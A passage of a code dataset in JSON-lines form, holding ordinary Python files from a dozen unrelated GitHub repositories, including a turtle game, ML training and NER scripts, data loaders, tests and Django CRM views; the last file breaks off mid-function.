+{"seq_id":"24774902784","text":"import turtle\nimport math\nimport random\nimport neat\n\n#Player Class representing a player in the game which uses turtle module two draw the player in the game map\nclass Player(turtle.Turtle):\n    def __init__(self):\n        turtle.Turtle.__init__(self)\n        self.shape(\"square\")\n        self.color(\"blue\")\n        self.penup()\n        self.speed(0)\n        self.current_pos = (1,1)\n\n    #Move the player to its desired postion which one step in the loaded game map\n    def next_move(self, input, level):\n        self_x = self.current_pos[0]\n        self_y = self.current_pos[1]\n        end = False\n\n        if input == 2:\n            end = self.is_blocked((self_x+1, self_y), level)\n        elif input == 3:\n            end = self.is_blocked((self_x, self_y+1), level)\n        elif input == 1:\n            end = self.is_blocked((self_x, self_y-1), level)\n        elif input == 0:\n            end = self.is_blocked((self_x-1, self_y), level)\n\n        return end\n\n    #Check if the player is blocked by an obstacle\n    def is_blocked(self, next_pos, level):\n        if level[next_pos[1]][next_pos[0]] == 0:\n            level[self.current_pos[1]][self.current_pos[0]] = 0\n            level[next_pos[1]][next_pos[0]] = 2\n            self.current_pos = next_pos\n\n        elif level[next_pos[1]][next_pos[0]] == 3:\n            level[self.current_pos[1]][self.current_pos[0]] = 0\n            level[next_pos[1]][next_pos[0]] = 2\n            self.current_pos = next_pos\n\n        elif level[next_pos[1]][next_pos[0]] == 1:\n            return True\n\n        elif level[next_pos[1]][next_pos[0]] == 4:\n            return True\n\n        return False\n\n    #Calcuate the distance between the player and an object (treasure)\n    def distance(self, other):\n        a = self.current_pos[0]-other[0]\n        b = self.current_pos[1]-other[1]\n        distance = math.sqrt((a**2)+(b**2))\n\n        return distance\n\n    #return the distance in (x,y) form between the player and an object (treasure)\n    def dist(self, other):\n        width = self.current_pos[0]-other[0]\n        height = self.current_pos[1]-other[1]\n\n        return (width, height)\n","repo_name":"evansaboo/snake-neural-networks","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9447336585","text":"import re\n\nimport prometheus_client as pc\nimport prometheus_push_client as ppc\n\n\ndef make_metric_fixture(request, metric):\n    if metric._name not in ppc.PUSH_REGISTRY._names_to_collectors:\n        ppc.PUSH_REGISTRY.register(metric)\n\n    def unregister():\n        metric._metric_init()\n        if metric._name in ppc.PUSH_REGISTRY._names_to_collectors:\n            ppc.PUSH_REGISTRY.unregister(metric)\n    request.addfinalizer(unregister)\n\n    return metric\n\n\ndef collect_metrics(*metric_names, data=None):\n    data = data or pc.generate_latest(ppc.PUSH_REGISTRY).decode()\n\n    def only_interesting(line):\n        return (\n            line and\n            any(\n                line.startswith(m) and not line.startswith(f\"{m}_created\")\n                for m in metric_names\n            )\n        )\n\n    interesting_lines = filter(only_interesting, data.split(\"\\n\"))\n    return \"\\n\".join(interesting_lines)\n\n\ndef collect_formatter(formatter_cls, *metric_names):\n    fmt = formatter_cls()\n\n    collected = []\n    for line in fmt.iter_samples():\n        line = line.decode()\n\n        if metric_names:\n            for mname in metric_names:\n                if line.startswith(mname):\n                    collected.append(line)\n                    break\n        else:\n            collected.append(line)\n\n    collected = filter(lambda line: \"created\" not in line, collected)\n    return \"\\n\".join(collected)\n","repo_name":"gistart/prometheus-push-client","sub_path":"test/testutils.py","file_name":"testutils.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"16"}
+{"seq_id":"38876883467","text":"### 시간 초과 ###\n\n'''\nopt(start, end) := start번~end번 행렬 곱할때 최소 연산 횟수\nopt(start, end) = min(opt(start, mid) + opt(mid + 1, end) + 두 덩어리 사이의 연산횟수)\n\nopt배열을 채우는 순서\n구간이 좁은 순서부터 채움\n'''\nimport sys\ninput = sys.stdin.readline\n\n# input\nN = int(input())\nmatrix = [tuple(map(int, input().split())) for _ in range(N)]\n\n# process\nopt = [[float('inf') for _ in range(N)] for _ in range(N)]\n\nfor k in range(N):\n\topt[k][k] = 0\n\nfor length in range(2, N + 1):\n\tfor start in range(N):\n\t\tend = start + length - 1\n\t\tif end >= N: continue\n\n\t\tfor mid in range(start, end):\n\t\t\topt[start][end] = min(\n\t\t\t\topt[start][mid] + opt[mid + 1][end] + matrix[start][0] * matrix[mid][1] * matrix[end][1],\n\t\t\t\topt[start][end]\n\t\t\t)\n\n# output\nprint(opt[0][N - 1])","repo_name":"WaiNaat/BOJ-Python","sub_path":"11049_v3.py","file_name":"11049_v3.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1720575300","text":"#!/usr/bin/env python3\n# coding: utf-8\n# Author  : penho\n# File    : predict_ner.py\n# Date    : 2021-11-01\n\nimport sys\n\nsys.path.append(\"\")\nfrom ner_model.models.transformers import BertConfig\nfrom ner_model.models.bert_for_ner import BertCrfForNer\nfrom ner_model.processors.utils_ner import CNerTokenizer, get_entities\nimport torch\nfrom ner_model.processors.ner_seq import ner_processors as processors\n\n\n\ndef predict_med_ner(sentence):\n    MODEL_CLASSES = {\n        'bert': (BertConfig, BertCrfForNer, CNerTokenizer)}\n    config_class, model_class, tokenizer_class = MODEL_CLASSES['bert']\n\n    config = config_class.from_pretrained('med_kg/ner_model/outputs/1101medselfner-finetune/bert')\n    tokenizer = tokenizer_class.from_pretrained('med_kg/ner_model/outputs/1101medselfner-finetune/bert')\n    model = model_class.from_pretrained('med_kg/ner_model/outputs/1101medselfner-finetune/bert', config=config)\n    # model.to(args.device)\n    max_seq_length = 512\n    # input_ids = tokenizer.encode(\"屁股痕痒是什么毛病？\", add_special_tokens=True, max_length=512)  # Batch size 1\n    input_ids = tokenizer.encode(sentence, add_special_tokens=True, max_length=512)\n    # print(input_ids)\n    padding_length = max_seq_length - len(input_ids)\n    input_mask = [1] * len(input_ids)\n    input_ids += [0] * padding_length\n    input_mask += [0] * padding_length\n    segment_ids = [0] * len(input_ids)\n\n    input_ids = torch.tensor(input_ids).unsqueeze(0)\n    input_mask = torch.tensor(input_mask).unsqueeze(0)\n    input_lens = torch.tensor([1])\n    # print(input_ids,input_mask,input_lens)\n\n    inputs = {\"input_ids\": input_ids, \"attention_mask\": input_mask, \"labels\": None, 'input_lens': input_lens}\n\n    outputs = model(input_ids)\n    # print(outputs)\n\n    logits = outputs[0]\n    tags = model.crf.decode(logits, inputs['attention_mask'])\n    tags = tags.squeeze(0).cpu().numpy().tolist()\n    preds = tags[0][1:-1]  # [CLS]XXXX[SEP]\n\n    processor = processors['medselfner']()\n    label_list = processor.get_labels()\n    id2label = {i: label for i, label in enumerate(label_list)}\n    label_entities = get_entities(preds, id2label, 'bios')\n    # print(label_entities)\n    if len(label_entities) != 0:\n        b = label_entities[0][1]\n        e = label_entities[0][2]\n        output = sentence[b:e + 1] + ':' + label_entities[0][0]\n    else:\n        output = '无识别出mention'\n    return output\n\n# 这三个实体训练数据都无，但是模型泛化能力强可以识别出来。hzp\npredict_med_ner('大腿痕痒是什么毛病？')\npredict_med_ner('胆红素偏高怎么治疗？')\npredict_med_ner('999皮炎平可以治疗什么疾病？')\n","repo_name":"pen-ho/medical_knowledge_graph_app-master","sub_path":"med_kg/ner_model/predict_ner.py","file_name":"predict_ner.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"16"}
+{"seq_id":"32458516663","text":"import sys\nimport os\nsys.path.append(os.environ[\"AIRFLOW_HOME\"])\nfrom modules.config import MONGO_HOST, MONGO_PORT, ELASTICSEARCH_HOST, ELASTICSEARCH_PORT\nfrom elasticsearch import Elasticsearch, helpers\nfrom pymongo import MongoClient\n\n# MongoDB 데이터 가져오기\ndef mongoFetch(client: MongoClient, db: str, collection: str, query: dict=None):\n    mydb = client[db]\n    mycollection = mydb[collection]\n\n    data = list(mycollection.find(query))\n\n    return data\n\n# MongoDB의 데이터를 ES로 적재\ndef esLoad():\n    mongo = MongoClient(host=MONGO_HOST, port=MONGO_PORT)\n    es = Elasticsearch(f\"http://{ELASTICSEARCH_HOST}:{ELASTICSEARCH_PORT}\")\n    db = \"JDA\"\n    collection = \"wanted\"\n    mongo_query = {\"validation\": True}\n\n    es.delete_by_query(index=\"wanted\", body={\"query\": {\"match_all\": {}}})\n    mongo_data = mongoFetch(mongo, db, collection, mongo_query)\n    docs = []\n    for data in mongo_data:\n        doc = {\n            \"_index\": \"wanted\",\n            \"_id\": str(data[\"_id\"]),\n            \"_source\": {\n                \"id\": data[\"id\"],\n                \"url\": data[\"url\"],\n                \"position\": data[\"position\"],\n                \"company\": data[\"company\"],\n                \"contents\": data[\"contents\"],\n                \"scraped_time\": data[\"scraped_time\"]\n            }\n        }\n        docs.append(doc)\n\n    helpers.bulk(es, docs)","repo_name":"mungiyo/JDA","sub_path":"airflow/modules/loaders/esLoader.py","file_name":"esLoader.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7624068037","text":"import requests\nimport bs4\nimport urllib.parse\nimport re\nimport webbrowser\n\nprint ('Available divisions')\nprint ('-------------------')\nprint ('A - Se_Asia\\nB - Europe\\nC- China\\nD - Americas\\n')\ndivDict={\n   'a':'se_asia',\n   'b':'europe',\n   'c':'china',\n   'd':'americas' \n}\nval=input(\"Enter division:\").lower()\ndivision=divDict[val]\nval2=input(\"Core? [y/n]:\").lower()\nrole=0\n\n#check if support role or not\nif (val2=='y'):\n    role=1\nelse:\n    role=2\n\n#gets the leaderboard data\nres=requests.get('http://www.dota2.com/webapi/ILeaderboard/GetDivisionLeaderboard/v0001?division=' +division+'&leaderboard='+str(role))\n\ndata=res.json()\n\nbest_player_se_asia=data['leaderboard'][0]['name']\n\n\n#encode best player data to a url format\nquery_string = urllib.parse.urlencode({\"search_query\" : best_player_se_asia +' full game'})\n\n\n#fetches the video and sorted by upload date\nwebsite=\"http://www.youtube.com/results?\" + query_string +'&sp=CAI%253D'\n\nwebbrowser.open_new_tab(website)","repo_name":"armanmasangkay/Dota2Scraper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42923114315","text":"from matplotlib import pyplot as plt\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.base import TransformerMixin\nfrom sklearn.ensemble import RandomForestClassifier\n\n\nclass DenseTransformer(TransformerMixin):\n\n    def fit(self, X, y=None, **fit_params):\n        return self\n\n    def transform(self, X, y=None, **fit_params):\n        return X.todense()\n\n\ndef train(x_train, x_validation, y_train, y_validation):\n    numeric_features = [\"PassengerId\", \"Pclass\", \"Age\", \"SibSp\", \"Parch\", \"Fare\"]\n    numeric_transformer = Pipeline(\n        steps=[(\"imputer\", SimpleImputer(strategy=\"median\")),\n               (\"scaler\", StandardScaler())]\n    )\n    categorical_features = [\"Sex\", \"Ticket\", \"Embarked\"]\n    categorical_transformer = OneHotEncoder(handle_unknown=\"ignore\")\n    preprocessor = ColumnTransformer(\n        transformers=[\n            (\"num\", numeric_transformer, numeric_features),\n            (\"cat\", categorical_transformer, categorical_features)\n        ]\n    )\n\n    models = [('LR', LogisticRegression()),\n              ('LDA', Pipeline([(\"to_dense\", DenseTransformer()),\n                  (\"classifier\", LinearDiscriminantAnalysis())])),\n              ('KNN', KNeighborsClassifier()),\n              ('CART', DecisionTreeClassifier()),\n              ((\"RFC\"), RandomForestClassifier()),\n              ('NB', Pipeline([(\"to_dense\", DenseTransformer()),\n                  (\"classifier\", GaussianNB())])),\n              ('SVM', SVC(gamma='auto'))]\n    pipelines = []\n    for model in models:\n        pipeline = (model[0], Pipeline(\n            steps=[(\"preprocessor\", preprocessor),\n                   (\"classifier\", model[1])]\n        ))\n        pipelines.append(pipeline)\n\n    results = []\n    names = []\n\n    for name, pipeline in pipelines:\n        k_fold = KFold(n_splits=10, random_state=1, shuffle=True)\n        cv_results = cross_val_score(pipeline, x_train, y_train, cv=k_fold, scoring='accuracy')\n        results.append(cv_results)\n        names.append(name)\n\n    for name, cv_results in zip(names, results):\n        print(f\"{name}: {round(cv_results.mean(), 3)} ± {round(cv_results.std(), 3)}\")\n\n    plt.boxplot(results, labels=names)\n    plt.title('Algorithm Comparison')\n    plt.show()\n\n    return x_train, y_train, x_validation, y_validation\n","repo_name":"joepcash/titanic_survival","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8479937268","text":"# -*- coding: utf-8 -*-\n\nimport os, sys\n\nsys.path.insert(1, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom spectrocrunch.process.id21_xas import processEnergySynchronized as process\n\nif __name__ == \"__main__\":\n    path = os.path.dirname(os.path.abspath(__file__))\n\n    specfile = \"/data/visitor/hg79/id21/spec/16050901.dat\"\n    specnumbers = [[268, 269, 270], [272, 273, 274]]\n\n    detectorcfg = os.path.join(path, \"testdata\", \"xrfxanes\", \"id21\", \"hg79.cfg\")\n\n    destpath = os.path.join(path, \"testresults\", \"hg79\")\n    destradix = \"test\"\n    process(\n        specfile,\n        specnumbers,\n        destpath,\n        destradix,\n        detectorcfg,\n        showelement=\"Pb M\",\n        sourcedir=None,\n        dtcor=True,\n        fastfitting=True,\n    )\n","repo_name":"woutdenolf/spectrocrunch","sub_path":"scraps/xas_example.py","file_name":"xas_example.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"15618826138","text":"#!/usr/bin/env python\n# coding: utf-8\n\"\"\"Error messages for NC4DataStore\"\"\"\n\nimport os\nimport pytest\nfrom xsuite.backend import xstores\nimport netCDF4 as nc4\nimport xarray as xr\nimport pkg_resources\n\nfilename = pkg_resources.resource_filename('xsuite', 'data/sresa1b_ncar_ccsm3-example.nc')\n\ndef test_not_nc_dataset():\n    with pytest.raises(TypeError) as err:\n        xstores.NC4DataStore('Not a NC Dataset')\n    assert 'ds is not a NETCDF4 dataset' in str(err)\n\n\ndef test_not_str_or_dataset():\n    with pytest.raises(TypeError) as err:\n        xstores.NC4DataStore(32)\n    assert 'Object is neither a string nor a NETCDF4' in str(err)\n\n\ndef test_without_format():\n    data = nc4.Dataset(filename)\n    ds = xr.Dataset.load_store(xstores.NC4DataStore(data, format=None))\n    assert isinstance(ds, xr.Dataset)\n\n\ndef test_just_filename():\n    ds = xr.Dataset.load_store(xstores.NC4DataStore(filename, format=None))\n    assert isinstance(ds, xr.Dataset)\n","repo_name":"ucyo/xsuite","sub_path":"tests/xstores/test_errors_nc4datastore.py","file_name":"test_errors_nc4datastore.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"70574085447","text":"import pytest\n\nfrom network.nettestlib import veth_pair\n\nfrom .netfunctestlib import NOCHK\nfrom .netfunctestlib import parametrize_switch\n\n\nNETWORK_NAME1 = 'test-network-1'\nNETWORK_NAME2 = 'test-network-2'\n\n\n@pytest.fixture\ndef veth_nics():\n    with veth_pair() as nics:\n        yield nics\n\n\n@parametrize_switch\ndef test_interfaces_stats(adapter, switch, veth_nics):\n    NETSETUP1 = {\n        NETWORK_NAME1: {\n            'bridged': False,\n            'nic': veth_nics[0],\n            'switch': switch,\n        }\n    }\n    NETSETUP2 = {\n        NETWORK_NAME2: {\n            'bridged': False,\n            'nic': veth_nics[1],\n            'switch': switch,\n        }\n    }\n\n    with adapter.setupNetworks(NETSETUP1, {}, NOCHK):\n        with adapter.setupNetworks(NETSETUP2, {}, NOCHK):\n            stats = adapter.getNetworkStatistics()\n            netstats = stats.get('network')\n            assert netstats\n            for nic in veth_nics:\n                assert nic in netstats\n                assert int(netstats[nic]['tx']) >= 0\n                assert int(netstats[nic]['rx']) >= 0\n","repo_name":"oVirt/vdsm","sub_path":"tests/network/functional/stats_test.py","file_name":"stats_test.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
+{"seq_id":"43600531635","text":"\nimport geopandas as gpd\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport datetime\n\ndf = gpd.read_file(r'802_HMMSup_FZ.shp')# Read in file\ndf = pd.DataFrame(df) # Make it a dataframe\ndf['MT Time'] = pd.to_datetime(df['MT Time']) # Make MT Time a datetime index\ndf = df.set_index('MT Time')\n\ndf = df.between_time('8:00:00','19:00:00') # Select only \ndf = df.reset_index()\naug_df = df[df['MT Time'].dt.month == 8] # Seperate into seperate months (for some reason?)\n\n# print(aug_df)\n\nsep_df = df[df['MT Time'].dt.month == 9]\noct_df = df[df['MT Time'].dt.month == 10]\ncombination = []# Make combination - this should be fine, looked like Leos  \nall_p = range(0,3**12)\nfor i in all_p:\n    Tri = []\n    quotient = int(i/3)\n    remainder = i % 3\n    Tri.append(remainder)\n    while quotient != 0:\n        remainder = quotient % 3\n        Tri.append(remainder)\n        quotient = int(quotient/3)\n    combination.append(Tri)\n\n# Again should be fine, looks like Leo's - no comments so no idea why this here \ncomb = []\nfor i in combination:\n    j = i[:]\n    l = len(j)\n    while l != 16:\n        j.append(0)\n        l = l + 1\n    comb.append(j)\ncomb = comb\n\ndf = df.reset_index() # Reset the index\naug_day = 31 # Get the number of days in each month\nsep_day = 30\noct_day = 31\ndef get_cum(df,days,month, month_val):\n    newdf = pd.DataFrame(index = pd.date_range(df.loc[df.index[0],'MT Time'].date(), df.loc[df.index[-1],'MT Time'].date(),freq='1D')) # Make an empty dataframe\n    newdf['s'] = None # make a column, s\n\n    run = 0 # Running counter\n    num_days = range(1,days) # list of all days in the month\n    for x in num_days: # Cycle through all the days in the month\n        \n        print('Running day {} of {} in {}'.format(x,days, month)) # Print message\n        n_df = df[df['MT Time'].dt.date == datetime.date(year = 2021,month = month_val, day = x)] # Testing df\n        print(n_df.shape[0])\n        if ~n_df.empty: # if test me is not empty\n#             print(n_df) # print it out as a test\n            if n_df.shape[0] > 11: # If the number of records is greater than 11\n                print('Im wokring')\n#                \n                MCDA = n_df['MCDA'].to_numpy() # Pull out the MCDA and classifications, turn them into numpy arrays\n                low = n_df['Low_activi'].to_numpy()\n                high = n_df['High_activ'].to_numpy()\n                rest = n_df['Resting'].to_numpy()\n                C_r = [] # Holder lists\n                C_p = []\n                for i in comb[0:3**12]: # cycle through comb\n                   \n                    n = 0 # set n,s, and p to these specific values\n                    s = 0\n                    p = 1\n                    for j in np.arange(0,12): # cycle through 1-12, should be the number of points in each day\n#                         print(str(j))\n                        if i[j] == 0: # for zero cases, \n                            s = s + MCDA[n] * 0.4 # get the mcda value\n                            p = p * (low[n]/(low[n] + high[n] + rest[n])) # set this formula\n                        elif i[j] == 1: # for one cases\n                            s = s + MCDA[n] * 0.2 # get the mcda value\n                            p = p * (rest[n]/(low[n] + high[n] + rest[n]))# set this formula\n                        elif i[j] == 2: # for 2 cases\n                            s = s + MCDA[n] * 0.4 # set the mcda value value\n                            p = p * (high[n]/(high[n] + rest[n] + low[n])) # set this formula\n                        n +=1 # n goes one higher    \n                    C_r.append(s) # append s to C_r \n                    C_p.append(p) # append p to C_p\n                    \n#                 print(run/(3**12))\n                run += 1\n                c = pd.DataFrame(data = {'C_r':C_r, 'C_p':C_p})\n        \n        \n                c['s'] = c[\"C_r\"] * c['C_p']\n            else:\n                c = pd.DataFrame()\n                c.loc[0,'s'] = -1\n#         print(c)\n        newdf.loc[pd.to_datetime(month + ' ' + str(x) + ' 2021'),'s'] = c['s'].sum()\n        \n    return(newdf)\noct = get_cum(oct_df, oct_day, 'October',10)\n# print(oct)\n# # print(oct)\naug = get_cum(aug_df, aug_day, 'August',8)\n# print(aug)\nsep = get_cum(sep_df, sep_day, 'September',9)\nprint(sep)\n# df = df.set_index('MT Time')\nnewdf = pd.merge(oct,aug, left_index = True, right_index = True)\nnewdf = newdf.merge(sep, left_index = True, right_index = True)\n# # df = pd.concat([oct,aug,sep])\nprint(df)\n# df = gpd.GeoDataFrame(df, geometry = 'geometry')\n# df['MT Time'] = df['MT Time'].astype('str')\nnewdf.to_csv(r'~\\802CumExp.csv')","repo_name":"cgirlamo/Animal-Classification-P50","sub_path":"cum_exp.py","file_name":"cum_exp.py","file_ext":"py","file_size_in_byte":4619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17657278362","text":"\nfrom msilib.schema import Error\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.template import loader\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import redirect, render\nfrom datetime import datetime\nimport json\nfrom .models import *\nfrom functools import reduce\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nDAYS = ['Пн','Вт','Ср','Чт','Пт','Сб','Вс']\n\n   \ndef is_teacher(user):\n    return user.groups.filter(name='Teacher').exists()\n\n@login_required\n@user_passes_test(lambda u: u.groups.filter(name='admin').exists(),login_url='teachersDashbord')\ndef index(request):\n    if request.user.is_authenticated:\n        username = request.user.username\n    else:\n        #user = \"None\"\n        return HttpResponseRedirect(reverse('forbiden', args=()))\n    template = loader.get_template('crm/index.html')\n    context = {\"username\":username}\n    return HttpResponse(template.render(context, request))\n\ndef loginView(request):\n    template = loader.get_template('crm/login.html')\n    context = {}\n    return HttpResponse(template.render(context, request))\n\ndef forbiden(request):\n    template = loader.get_template('crm/forbidenPage.html')\n    context = {}\n    return HttpResponse(template.render(context, request))\n\ndef logoutView(request):\n    logout(request)\n    return HttpResponseRedirect(reverse('index', args=()))\n\ndef loginCheck(request):\n    username = request.POST['username']\n    password = request.POST['password']\n    user = authenticate(request, username=username, password=password)\n    if user is not None:\n        login(request,user)\n        return HttpResponseRedirect(reverse('index', args=()))\n    else:\n        return render(request,'crm/login.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n\n#==========================================================================================================#\n@login_required\ndef CRM_clients(request):\n    if request.user.is_authenticated:\n        user = request.user.username\n    else:\n        #user = \"None\"\n        return HttpResponseRedirect(reverse('forbiden', args=()))\n    data = [{'id':s.pk,\n    'name':s.name,\n    'phone':Phone.objects.filter(client = s),\n    'money':s.money\n    } for s in Client.objects.all()]\n    #students = Client.objects.all()\n    #contacts = {s:Phone.objects.get(client = s)  for s in students}\n    #print(data)\n    template = loader.get_template('crm/simpleClients.html')\n    context = {\n        'username' : user,\n        'data':data,\n    }\n    return HttpResponse(template.render(context, request))\n@login_required\ndef refreshClients(request):\n    clients= Client.objects.all()\n    for c in clients:\n        lessons = Lesson.objects.filter(clients = c)\n        credit = sum([l.price for l in lessons])\n        payments = Payment.objects.filter(client = c)\n        debet= sum([p.value for p in payments])\n        #print(c,lessons,payments)\n        c.money = debet-credit\n        c.save()\n    return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n    #return HttpResponseRedirect(reverse('CRM_clients', args=()))\n@login_required\ndef add_client(request):\n    try:\n        name = request.POST['name']\n    except (KeyError):\n        return render(request,'crm/addClient.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    c = Client(name = name)\n    c.save()\n    return HttpResponseRedirect(reverse('CRM_clients', args=()))\n\n#=======================================================\n@login_required\ndef CRM_Lessons(request):\n    if request.user.is_authenticated:\n        user = request.user.username\n    else:\n        #user = \"None\"\n        return HttpResponseRedirect(reverse('forbiden', args=()))\n    month = datetime.today().month  \n    if 'month' in request.POST:\n        try:\n            month = int(request.POST['month'][-2::])\n        except:\n            pass\n    data = Lesson.objects.filter(date__month = month)\n    if 'teacher' in request.POST:\n        teacher = int(request.POST['teacher'])\n        if teacher >= 0:\n            teacher = Teacher.objects.get(pk = teacher)\n            \n            data = data.filter(teacher =teacher)\n    if 'group' in request.POST:\n        group = int(request.POST['group'])\n        if group >= 0:\n            group = Group.objects.get(pk = group)\n\n            data = Lesson.objects.filter(group = group)\n    data = data.order_by('-date')\n    groups = Group.objects.all().order_by('archive')\n    teachers = Teacher.objects.all()\n    template = loader.get_template('crm/simpleLessons.html')\n    \n\n    context = {\n        'groups':groups,\n        'teachers':teachers,\n        'lessons' : data,\n    }\n    return HttpResponse(template.render(context, request))    \n@login_required\ndef addLesson(request):\n    students = Client.objects.all()\n    teachers = Teacher.objects.all()\n    template = loader.get_template('crm/lesson.html')\n    context = {\n        'name':\"\",\n        'active_students' : students,\n        'active_teachers' : teachers\n    }\n    return HttpResponse(template.render(context, request))\n@login_required\ndef addLessonFromGroup(request,group_pk):\n    group = Group.objects.get(pk = group_pk)\n    students = group.clients.all()\n    teachers = Teacher.objects.all()\n    template = loader.get_template('crm/lesson.html')\n    context = {\n        'group':group,\n        'default_teacher':group.teacher.pk,\n        'active_students' : students,\n        'active_teachers' : teachers\n    }\n    return HttpResponse(template.render(context, request))   \n\n@login_required\ndef lessonSuccess(request):\n    try:\n        name = request.POST['name']\n        teacher = int(request.POST['teacher'])\n        price = float(request.POST['price'])\n        date = datetime.strptime(request.POST['date'],\"%Y-%m-%d\")\n        students = [int(key.replace(\"student\",\"\")) for key in request.POST if key.startswith(\"student\")]\n        group = int(request.POST['group'])\n    except:\n        return HttpResponseRedirect(reverse('addLesson', args=()))\n    date = datetime.strptime(request.POST['date'],\"%Y-%m-%d\")\n    active_teacher = Teacher.objects.get(pk = teacher)\n    active_students = Client.objects.filter(pk__in = students)\n    group = Group.objects.get(pk = group)\n    l = Lesson(teacher = active_teacher,\n    name = name,\n    date = date,\n    price = price,\n    group = group)\n    l.save()\n    l.clients.set(active_students)\n    l.save()\n    return HttpResponseRedirect(reverse('CRM_Lessons', args=()))\n\n#========================================================\n@login_required\ndef CRM_payments(request):\n    payments = Payment.objects.order_by('-date')\n    clients = Client.objects.all()\n    template = loader.get_template('crm/simplePayments.html')\n    context = {\n        'payments' : payments,\n        'clients' : clients\n    }\n    return HttpResponse(template.render(context, request))  \n@login_required\ndef addPayment(request):\n    try:\n        tag = request.POST['tag']\n        client = int(request.POST['client'])\n        note = request.POST['note']\n        date = datetime.strptime(request.POST['date'],\"%Y-%m-%d\")\n        value = float(request.POST['value'])\n    except (KeyError):\n        return render(request,'crm/addClient.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    active_client = Client.objects.get(pk = client)\n    p = Payment(client = active_client,\n    date = date,\n    value = value,\n    note = note)\n    p.save()\n    if tag == \"client\":\n        return HttpResponseRedirect(reverse('client_card', args=(client,)))\n    else:\n        return HttpResponseRedirect(reverse('CRM_payments', args=()))\n\n#========================================================\n\ndef convertSchedule(schedule:str)->list:\n    schedule = json.loads(schedule.replace(\"\\'\", \"\\\"\"))\n    r = []\n    for day,time in schedule.items():\n        r.append(DAYS[int(day)]+\" \"+time)\n    return r\n\n@login_required\ndef CRM_groups(request):\n    groups = Group.objects.filter(archive = False)\n    active_groups = [{\n        'pk':g.pk,\n        'teacher':g.teacher,\n        'name':g.name,\n        'clients':g.clients.all,\n        'schedule':convertSchedule(g.schedule)\n    } for g in groups]\n    groups = Group.objects.filter(archive = True)\n    archive_group = [{\n        'pk':g.pk,\n        'teacher':g.teacher,\n        'name':g.name,\n        'clients':g.clients.all,\n        'schedule':convertSchedule(g.schedule)\n    } for g in groups]\n    template = loader.get_template('crm/simpleGroups.html')\n    context = {\n        'groups' : active_groups,\n        'archive' : archive_group,\n    }\n    return HttpResponse(template.render(context, request))\n@login_required\ndef addGroup(request):\n    clients = Client.objects.all()\n    teachers = Teacher.objects.all()\n    template = loader.get_template('crm/addGroup.html')\n    context = {\n        'clients' : clients,\n        'teachers':teachers\n    }\n    return HttpResponse(template.render(context, request))\n@login_required\ndef addGroupSuccess(request):\n    try:\n        name = request.POST['name']\n        students = [int(c) for c in request.POST.getlist('student')]\n        students = Client.objects.filter(pk__in = students)\n        teacher = Teacher.objects.get(pk = request.POST['teacher'])\n        schedule = {}\n        for day in request.POST.getlist('day'):\n            schedule[day] = request.POST[f\"day{day}time\"]\n    except:\n        return render(request,'crm/addGroup.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    else:\n        g = Group(name = name,\n        schedule = str(schedule),\n        teacher = teacher)\n        g.save()\n        g.clients.set(students)\n        g.save()\n        return HttpResponseRedirect(reverse('CRM_groups', args=()))\n\n#========================================================\ndef checkTime(schedule,day)->str:\n    schedule = json.loads(schedule.replace(\"\\'\", \"\\\"\"))\n    if day in schedule:\n        return schedule[day]\n    else:\n        return False\n\n@login_required\ndef CRM_dashboard(request):\n    all_groups = Group.objects.filter(archive = False)\n    today = str(datetime.today().weekday())\n    groups = [g for g in all_groups if checkTime(g.schedule,today)]\n    data = []\n    for g in groups:\n        data.extend([{'id':s.pk,\n            'name':s.name,\n            'phone':Phone.objects.filter(client = s),\n            'money':s.money,\n            'message':f\"Зравствуйте, напоминаем что завтра в {checkTime(g.schedule,today)} занятие по {g.name}. Будем вас ждать\"\n    } for s in g.clients.all()])\n    active_groups = [{\n        'pk':g.pk,\n        'teacher':g.teacher,\n        'name':g.name,\n        'clients':g.clients.all,\n        'schedule':convertSchedule(g.schedule)\n    } for g in 